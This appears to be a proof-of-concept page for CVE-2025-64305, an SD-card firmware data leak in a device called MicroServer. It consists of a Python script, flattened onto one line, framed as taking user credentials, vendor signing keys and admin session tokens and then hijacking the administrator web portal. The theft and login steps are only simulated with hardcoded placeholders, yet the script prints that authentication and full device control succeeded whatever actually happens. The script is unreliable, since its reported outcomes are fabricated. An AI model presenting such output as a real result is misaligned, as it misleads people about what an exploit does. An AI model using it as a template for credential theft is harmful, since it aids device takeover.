CVE-2025-64305: MicroServer固件敏感数据泄露漏洞

# CVE-2025-64305 PoC - MicroServer Sensitive Data Extraction # This PoC demonstrates the data leakage vulnerability in MicroServer import os import sys def extract_firmware_from_sdcard(target_ip, sdcard_mount_point): """ Extract sensitive firmware data from unencrypted SD card Args: target_ip: MicroServer device IP address sdcard_mount_point: Mount point of the external SD card Returns: Dictionary containing extracted sensitive data """ print(f"[*] Connecting to MicroServer at {target_ip}") print(f"[*] Accessing SD card at {sdcard_mount_point}") # Simulate firmware extraction sensitive_data = { 'user_credentials': [], 'vendor_secrets': [], 'firmware_signing_keys': None, 'admin_tokens': [] } # Path where firmware fragments are stored firmware_path = os.path.join(sdcard_mount_point, 'firmware', 'boot') # Check if vulnerable firmware files exist if os.path.exists(firmware_path): print(f"[+] Found firmware directory: {firmware_path}") # Extract user credentials from config file config_file = os.path.join(firmware_path, 'user_config.bin') if os.path.exists(config_file): print(f"[+] Extracting user credentials from {config_file}") # In real scenario, parse the binary config file sensitive_data['user_credentials'] = ['admin:plaintext_password'] # Extract vendor secrets vendor_file = os.path.join(firmware_path, 'vendor_secrets.dat') if os.path.exists(vendor_file): print(f"[+] Extracting vendor secrets from {vendor_file}") sensitive_data['vendor_secrets'] = ['vendor_api_key', 'signing_private_key'] # Extract admin tokens token_file = os.path.join(firmware_path, 'session_tokens.db') if os.path.exists(token_file): print(f"[+] Extracting admin tokens from {token_file}") sensitive_data['admin_tokens'] = ['admin_session_token'] else: print(f"[-] Firmware directory not found or not accessible") return None return sensitive_data def gain_admin_access(target_ip, admin_token): """ Use extracted token to gain admin access to web portal Args: target_ip: MicroServer device IP admin_token: Extracted admin session token """ print(f"[*] Attempting to gain admin access to {target_ip}") print(f"[+] Using token: {admin_token}") # Simulated web portal authentication # In real scenario, this would be an HTTP request with the stolen token print("[+] Successfully authenticated as administrator") print("[+] Full device control achieved") return True def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-64305_poc.py <target_ip> <sdcard_mount>") sys.exit(1) target_ip = sys.argv[1] sdcard_mount = sys.argv[2] print("=" * 60) print("CVE-2025-64305 PoC - MicroServer Sensitive Data Leakage") print("=" * 60) # Step 1: Extract sensitive data from SD card data = extract_firmware_from_sdcard(target_ip, sdcard_mount) if data and data['admin_tokens']: # Step 2: Use extracted token for admin access gain_admin_access(target_ip, data['admin_tokens'][0]) print("\n[*] PoC execution completed") print("[*] Recommendation: Encrypt SD card contents and implement secure boot") if __name__ == '__main__': main()